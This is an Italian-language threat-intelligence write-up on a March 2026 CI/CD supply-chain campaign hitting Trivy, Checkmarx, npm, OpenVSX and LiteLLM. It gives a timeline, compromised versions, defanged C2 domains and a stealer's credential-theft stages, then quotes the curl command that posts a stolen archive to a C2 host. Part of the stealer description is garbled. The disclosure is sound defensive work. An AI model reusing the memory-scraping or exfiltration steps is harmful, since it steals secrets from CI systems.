
CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora.
CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora.
Tra il 19 e il 25 marzo 2026, l'attore della minaccia TeamPCP (monitorato anche come DeadCatx3, PCPcat, ShellForce, CanisterWorm) ha eseguito una compromissione a catena della supply chain in cinque ecosistemi: GitHub Actions, Docker Hub, OpenVSX, npm e PyPI. Partendo da un singolo PAT GitHub non ruotato completamente, la campagna si è diffusa in due importanti vendor di sicurezza open-source (Aqua Security e Checkmarx), quattro repository GitHub Actions, due estensioni VS Code, registry di container e oltre 66 pacchetti npm.
Questo repository fornisce una completa analisi tecnica, liste IOC curate (testate per falsi positivi) e query di rilevamento pronte per la distribuzione in Microsoft Defender XDR.
| Data (UTC) | Evento |
|---|---|
| 20 feb 2026 | Creato l'account hackerbot-claw; inizia la scansione dei repo per workflow pull_request_target sfruttabili |
| 28 feb 2026 | Prima compromissione di Trivy tramite PWN request; credenziali esfiltrate |
| 1 mar 2026 | Aqua Security tenta il contenimento — rotazione delle credenziali incompleta |
| 19 mar, 17:43 | Attacco principale: TeamPCP force-pusha 75/76 tag in aquasecurity/trivy-action + tutti e 7 i tag in setup-trivy tramite l'account di servizio compromesso aqua-bot |
| 19 mar, 18:22 | Trivy v0.69.4 backdoored pubblicato su GitHub Releases, Docker Hub, GHCR, ECR |
| 20 mar, 05:40 | La finestra di compromissione di Trivy-action si chiude (~12 ore) |
| 20 mar, 20:45 | CanisterWorm rilevato mentre si diffonde su npm — oltre 47 pacchetti compromessi |
| 22 mar, 20:31 | TeamPCP sfregia tutti i 44 repo dell'organizzazione GitHub aquasec-com in un burst scriptato di 2 minuti |
| 22 mar | Immagini Docker Hub 0.69.5 e 0.69.6 pubblicate con lo stesso payload stealer |
| 23 mar, 02:53 | Inizia l'onda Checkmarx: pubblicati su OpenVSX ast-results v2.53.0 e cx-dev-assist v1.7.0 malevoli tramite l'account ast-phoenix |
| 23 mar, 12:58 | Tutti i 35 tag di Checkmarx/kics-github-action force-pushati tramite l'account compromesso cx-plugins-releases |
| 23 mar, 15:41 | Checkmarx segnala il problema OpenVSX come risolto |
| 23 mar, 16:50 | KICS GitHub Action rimosso dopo la segnalazione di un utente |
| 23 mar, 22:25 | Sysdig segnala che anche Checkmarx/ast-github-action v2.3.28 è compromesso |
| 24 mar, 08:30 | Onda LiteLLM: pubblicate su PyPI le versioni trojanizzate litellm v1.82.7 e v1.82.8 usando credenziali rubate |
| 24 mar, 11:25 | PyPI mette in quarantena le versioni malevole di LiteLLM |
Causa principale: rotazione incompleta delle credenziali dopo la violazione del 28 febbraio. Il PAT dell'account di servizio aqua-bot non è stato revocato oppure l'attaccante ha osservato il nuovo token durante la rotazione.
TeamPCP ha usato questo accesso mantenuto per force-pushare i tag di versione verso commit malevoli impostori. Ogni commit contraffatto clonava i metadati dell'originale (autore, timestamp, messaggio) mentre sostituiva lo script di entry point con il payload stealer. La pagina di rilascio di GitHub non mostrava alcun cambiamento visibile — persino il badge "Immutable" veniva visualizzato normalmente.
Lo stealer — un entrypoint.sh di 204 righe che si auto-identifica come "TeamPCP Cloud stealer" — esegue un attacco in tre fasi:
Fase 1: Scraping della Memoria
Legge /proc/<pid>/mem dai processi Runner.Worker
Cerca il pattern: {"value":"<secret>","isSecret":true}
Estrae PAT GitHub, credenziali cloud, chiavi API dalla memoria del runner
Fase 2: Scansione delle Credenziali nel Filesystem
Scansiona oltre 50 percorsi sensibili tra cui:
~/.ssh/*)~/.npmrc).envFase 3: Esfiltrazione Cifrata
tpcp.tar.gzcurl POST verso domini typosquat specifici del vendortpcp-docs o docs-tpcp nell'account GitHub della vittima usando il GITHUB_TOKEN rubatoSu sistemi Linux non-CI, il malware:
~/.config/sysmon/sysmon.py)Le credenziali rubate durante l'onda Trivy hanno permesso la compromissione dell'ecosistema Checkmarx. Ogni nuova onda utilizzava un dominio C2 typosquat diverso per eludere le blocklist dell'onda precedente:
| Onda | Dominio C2 | Typosquat Di |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Repository | Tag Compromessi | Finestra di Esposizione (UTC) | Entry Point |
|---|---|---|---|
aquasecurity/trivy-action | 75 su 76 (salvo: 0.35.0) | 19 mar 17:43 – 20 mar 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | Tutti e 7 i tag | 19 mar 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | Tutti e 35 i tag | 23 mar 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (probabilmente tutti) | 23 mar ~22:25+ | setup.sh |
| Estensione | Versione Malevola | Versione Sicura |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Entrambe le estensioni sono state pubblicate a 12 secondi di distanza alle 12:53 UTC del 23 marzo tramite l'account ast-phoenix. All'attivazione, environmentAuthChecker.js verifica la presenza di credenziali di provider cloud, quindi scarica uno stealer di seconda fase da checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Immagine | Tag Malevoli |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Pacchetto | Versioni | File Backdoored |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Payload base64 triplamente annidato con toolkit di movimento laterale K8s. Persistenza tramite sysmon.service che interroga checkmarx.zone/raw.
Il pattern di esfiltrazione è identico in tutte le onde:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz